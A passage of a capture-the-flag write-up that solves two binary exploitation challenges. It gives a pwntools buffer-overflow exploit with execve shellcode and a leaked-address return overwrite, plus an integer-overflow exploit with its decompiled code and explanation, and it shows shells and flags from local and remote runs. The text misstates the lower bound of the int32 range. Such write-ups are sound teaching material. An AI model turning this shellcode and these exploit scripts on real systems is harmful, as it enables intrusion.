context.log_level = "INFO"

# Get the LIBC used for the binary
libc = binary.libc

gdb_script = """
continue
"""

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(args.HOST or exit("[!] Provide a Remote IP."), int(args.PORT or exit("[!] Provide a Remote Port.")))

    elif args.GDB:
        return gdb.debug([binary.path] + argv, gdbscript=gdb_script, *a, **kw)

    else:
        return process([binary.path] + argv, *a, **kw)

# Exploitation code
shellcode = b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"

buffer = shellcode
buffer += b"\x90"*8
buffer += b"A"*50

# Start connection (LOCAL, REMOTE, or GDB)
p = start()

#~~~< Exploit Code Here >~~~#
p.recvuntil(b"at ")
leaked_buffer_address = int(p.recvline().strip(), 16)
print(f"[+] Leaked Buffer Address: {hex(leaked_buffer_address)}")

buffer += p64(leaked_buffer_address)

p.sendline(buffer)

p.interactive()

# Close connection
p.close()
$ python3 exploit.py 
[+] Starting local process './pwn104': pid 10748
[+] Leaked Buffer Address: 0x7ffc9bfdd710
[*] Switching to interactive mode
$ ls
exploit.py  pwn104

Remote Exploitation:

$ python3 exploit.py REMOTE HOST=$IP PORT=9004
[+] Opening connection to XX.XX.XX.XX on port 9004: Done
[+] Leaked Buffer Address: 0x7ffd0ce127d0
[*] Switching to interactive mode
$ whoami
pwn104
$ cat flag.txt
THM{XXXXXXXXXXXXXXXXXXXXXXXX}


pwn105 Solution

Disassembly:

void main(void)
{
    int64_t in_FS_OFFSET;
    int64_t var_1ch;
    int32_t var_14h;
    int64_t canary;
    
    canary = *(int64_t *)(in_FS_OFFSET + 0x28);
    setup();
    banner();
    puts("-------=[ BAD INTEGERS ]=-------");
    puts("|-< Enter two numbers to add >-|\n");
    printf("]>> ");
    __isoc99_scanf(data.0000216f, &var_1ch);
    printf("]>> ");
    __isoc99_scanf(data.0000216f, (int64_t)&var_1ch + 4);
    var_14h = var_1ch._4_4_ + (int32_t)var_1ch;
    if (((int32_t)var_1ch < 0) || (var_1ch._4_4_ < 0)) {
        printf("\n[o.O] Hmmm... that was a Good try!\n", (int32_t)var_1ch, var_1ch._4_4_, var_14h);
    } else if (var_14h < 0) {
        printf("\n[*] C: %d", var_14h);
        puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
        system("/bin/sh");
    } else {
        printf("\n[*] ADDING %d + %d", (int32_t)var_1ch, var_1ch._4_4_);
        printf("\n[*] RESULT: %d\n", var_14h);
    }
    if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}

The main() function prompts the user to enter two numbers. It adds the numbers and stores the result in the variable var_14h before checking if either of the entered numbers are negative, if either of them are then it outputs “[o.O] Hmmm… that was a Good try!”. It then checks if the result is negative, if it is then it spawns a shell, if the result is positive then it outputs “ADDING {entered numbers}” and then prints the result.

This is an integer overflow vulnerability because the int32_t integer type in C has a range from -2,147,483,647 to 2,147,483,647. If you take the number 2,147,483,647 and add 1 to it, then it wraps around to the negative range and results in the value -2,147,483,648.

So, to solve this challenge, we can simply enter 2147483647 as the first number and 1 as the second number. Both of the numbers are positive so it bypasses the first check, but the result is negative so it spawns a shell.

Exploit (manual):

$ ./pwn105 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 105          


-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|

]>> 2147483647
]>> 1

[*] C: -2147483648
[*] Popped Shell
[*] Switching to interactive mode
sh-5.3$ ls
exploit.py  pwn105

Exploit (pwntools):

#!/usr/bin/env python3

from pwn import *

# Set the binary context to the local binary
context.binary = binary = ELF("./pwn105", checksec=False)
context.log_level = "INFO"

# Get the LIBC used for the binary
libc = binary.libc

gdb_script = """
continue
"""

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(args.HOST or exit("[!] Provide a Remote IP."), int(args.PORT or exit("[!] Provide a Remote Port.")))

    elif args.GDB:
        return gdb.debug([binary.path] + argv, gdbscript=gdb_script, *a, **kw)

    else:
        return process([binary.path] + argv, *a, **kw)

# Exploitation code
# Start connection (LOCAL, REMOTE, or GDB)
p = start()

#~~~< Exploit Code Here >~~~#
p.sendlineafter(b"]>> ", b"2147483647")
p.sendlineafter(b"]>> ", b"1")

p.interactive()

# Close connection
p.close()
$ python3 exploit.py 
[+] Starting local process './pwn105': pid 11350
[*] Switching to interactive mode

[*] C: -2147483648
[*] Popped Shell
[*] Switching to interactive mode
$ ls
exploit.py  pwn105

Remote Exploitation:

$ python3 exploit.py REMOTE HOST=$IP PORT=9005
[+] Opening connection to XX.XX.XX.XX on port 9005: Done
[*] Switching to interactive mode

[*] C: -2147483648
[*] Popped Shell
[*] Switching to interactive mode
$ whoami
pwn105
$ cat flag.txt
THM{XXXXXXXXXXXXXXXXXXX}

References